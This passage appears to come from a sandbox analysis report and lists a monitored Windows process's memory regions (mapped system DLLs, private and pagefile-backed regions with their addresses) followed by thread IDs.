"c:\\windows\\system32\\clbcatq.dll") Region: id = 1665 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1666 start_va = 0x7fefe1b0000 end_va = 0x7fefe201fff entry_point = 0x7fefe1b0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1667 start_va = 0x7fefe330000 end_va = 0x7fefe34efff entry_point = 0x7fefe330000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1668 start_va = 0x7fefe350000 end_va = 0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1669 start_va = 0x7feff0f0000 end_va = 0x7feff2c6fff entry_point = 0x7feff0f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1670 start_va = 0x7feff2d0000 end_va = 0x7feff2d7fff entry_point = 0x7feff2d0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1671 start_va = 0x7feff2e0000 end_va = 0x7feff350fff entry_point = 0x7feff2e0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1672 start_va = 0x7feff490000 end_va = 0x7feff4dcfff entry_point = 0x7feff490000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1673 start_va = 0x7feff740000 end_va = 0x7feff81afff entry_point = 0x7feff740000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1674 start_va = 0x7feff820000 end_va = 0x7feff94cfff entry_point = 0x7feff820000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1675 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1676 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1677 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 1678 start_va = 0x7fffff90000 end_va = 0x7fffff91fff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 1679 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 1680 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 1681 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 1682 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 1683 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 1684 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 1685 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1686 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1687 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1688 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1689 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1690 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1691 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 1692 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1693 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1694 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1695 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1696 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 113 os_tid = 0x8ac Thread: id = 114 os_tid = 0x2ac Thread: id = 115 os_tid = 0x240 Thread: id = 116 os_tid = 0xc4 Thread: id = 117 os_tid = 0xc0 Thread: id = 118 os_tid = 0x5e4 Thread: id = 119 os_tid = 0x5dc Thread: id = 120 os_tid = 0x5d8 Thread: id = 121 os_tid = 0x134 Thread: id = 122 os_tid = 0x124 Thread: id = 123 os_tid = 0x3c4 Thread: id = 124 os_tid = 0x3bc Thread: id = 125 os_tid = 0x3ac Thread: id = 126 os_tid = 0x300 Thread: id = 127 os_tid = 0x2fc Thread: id = 128 os_tid = 0x2e0 Thread: id = 129 os_tid = 0x2d8 Thread: id = 130 os_tid = 0x2cc